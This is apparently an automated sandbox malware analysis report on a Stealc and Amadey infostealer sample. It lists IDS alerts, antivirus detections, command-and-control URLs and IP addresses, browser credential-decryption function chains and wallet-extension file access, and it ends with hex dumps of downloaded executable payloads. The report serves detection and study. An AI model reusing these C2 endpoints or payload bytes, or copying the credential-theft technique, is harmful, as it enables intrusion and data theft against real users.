ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:47.089256+0200
SID:	2044243
Source Port:	49534
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:18.025871+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:09.016327+0200
SID:	2044247
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:10.765111+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:38:16.691599+0200
SID:	2022930
Source Port:	443
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 8NjcvPNvUr.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/Iw	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/5499d72b3a3e55be.phpaY	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpM:S	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Local	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/cwx	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/freebl3.dlly	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/5499d72b3a3e55be.php-w6	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/freebl3.dll9	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/soka/random.exeN	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/Qwj	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1312596
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Avira: detection malicious, Label: HEUR/AGEN.1314148
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1314148
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Avira: detection malicious, Label: HEUR/AGEN.1312596
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\userKFHCAEGCBF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}
Source: explorti.exe.7872.7.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Virustotal: Detection: 17%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/freebl3.dlly	Virustotal: Detection: 22%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/softokn3.dllF	Virustotal: Detection: 20%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: 8NjcvPNvUr.exe

Virustotal: Detection: 52%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\userKFHCAEGCBF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 8NjcvPNvUr.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_0040C660 memset,lstrlenA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,	8_2_0040C660
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	8_2_6C1D6C80
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C32A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	8_2_6C32A9A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2F4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	8_2_6C2F4420
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C324440 PK11_PrivDecrypt,	8_2_6C324440
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3244C0 PK11_PubEncrypt,	8_2_6C3244C0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3725B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	8_2_6C3725B0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C308670 PK11_ExportEncryptedPrivKeyInfo,	8_2_6C308670
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C32A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	8_2_6C32A650
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C30E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	8_2_6C30E6E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C34A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	8_2_6C34A730

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Unpacked PE file: 10.2.8ec8c5c339.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Unpacked PE file: 30.2.8ec8c5c339.exe.400000.0.unpack

Source: 8NjcvPNvUr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49564 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49568 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 8ec8c5c339.exe, 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: nss3.pdb@ source: 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: mozglue.pdb source: 8ec8c5c339.exe, 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmp

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 44MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	IPs: 185.215.113.19

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 03:39:04 GMTContent-Type: application/octet-streamContent-Length: 250368Last-Modified: Sat, 27 Jul 2024 03:21:04 GMTConnection: keep-aliveETag: "66a467a0-3d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 2c 7f 18 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 e9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 9a 07 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 58 02 00 78 00 00 00 00 c0 04 02 08 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 18 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e8 32 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2e 02 02 00 70 02 00 00 dc 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 61 73 69 77 69 64 d3 02 00 00 00 a0 04 02 00 04 00 00 00 2e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6d 75 66 75 00 00 00 00 04 00 00 00 b0 04 02 00 04 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 9a 00 00 00 c0 04 02 00 9c 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 03:39:07 GMTContent-Type: application/octet-streamContent-Length: 3171840Last-Modified: Sat, 27 Jul 2024 03:08:39 GMTConnection: keep-aliveETag: "66a464b7-306600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 98 64 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 44 58 ad 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 ad 00 00 04 00 00 13 ca 12 00 02 00 40 80 00 00 80 00 00 20 00 00 00 00 80 00 00 20 00 00 00 00 00 00 10 00 00 00 50 40 8c 00 4e 0d 00 00 a0 4d 8c 00 4c 04 00 00 00 d0 12 00 e8 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 40 8c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 8c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 00 10 00 00 00 00 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 03 00 00 c0 09 00 00 f2 00 00 00 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 0c 00 00 04 00 00 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 05 00 00 40 0d 00 00 f6 04 00 00 fa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 50 12 00 00 62 00 00 00 f0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 90 00 00 00 d0 12 00 00 8e 00 00 00 52 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 b0 78 00 00 60 13 00 00 28 03 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 60 21 00 00 10 8c 00 00 5e 21 00 00 08 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 